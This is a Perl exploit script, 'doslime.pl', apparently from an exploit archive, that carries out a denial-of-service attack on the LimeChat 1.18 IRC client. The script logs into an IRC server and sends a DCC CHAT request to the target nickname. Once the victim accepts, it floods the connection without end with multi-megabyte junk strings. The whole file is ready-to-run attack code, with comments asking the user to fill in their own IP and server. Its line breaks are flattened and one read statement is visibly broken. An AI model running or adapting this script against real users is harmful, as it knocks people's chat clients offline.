#!/usr/bin/perl # ---- doslime.pl # DoS against LimeChat 1.18 default installation # DCC flood idea by Choco # written by White_E # http://nogimmick.org/ use Socket; my $myipaddr = '210.10.20.30'; # your IP addr my @ipint = split('\.',$myipaddr); my $addr_int; foreach (0..3) { $addr_int += $ipint[$_] * 16**(6-$_*2); } my $lport = 19999; my $vict = $ARGV[0] || die "usage: $0 \n"; my ($h_irc,$p_irc) = ('irc.tokyo.wide.ad.jp','6664'); # modify my ($user,$nick) = ('USER USER USER USER','lime12345'); # modify my $recv; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); select(S); $| = 1; select(STDOUT); $| = 1; my $ircaddr = sockaddr_in($p_irc,inet_aton($h_irc)); connect(S,$ircaddr) || die "Err: connect()\n"; print "[*] connected to server.\n"; print S "USER $user\r\nNICK $nick\r\n"; print "[*] USER and NICK sent.\n"; foreach (0..40) { $recv = ; # print $recv; last if ($recv =~ m/\s+376\s+/); # end of motd } # "DCC type argument address port" # type: CHAT # arg : chat # addr: the host address of the initiator as an integer. # port: the port or the socket on which the initiator expects # to receive the connection. socket(DCC,PF_INET,SOCK_STREAM,getprotobyname('tcp')); select(DCC); $| = 1; select(STDOUT); my $paddr = sockaddr_in($lport,INADDR_ANY); bind(DCC,$paddr) || die "Err: bind().\n"; listen(DCC,SOMAXCONN) || die "Err: listen().\n"; my $msg = "privmsg $vict :\x01DCC CHAT chat $addr_int $lport\x01\r\n"; print S $msg; print "[*] DCC chat request sent.\n"; my $blah = 'X' x 9999999 . "\r\n"; while (1) { accept(VIC,DCC) || die "Err: accept().\n"; select(VIC); $| = 1; select(STDOUT); while (1) { print VIC $blah; } }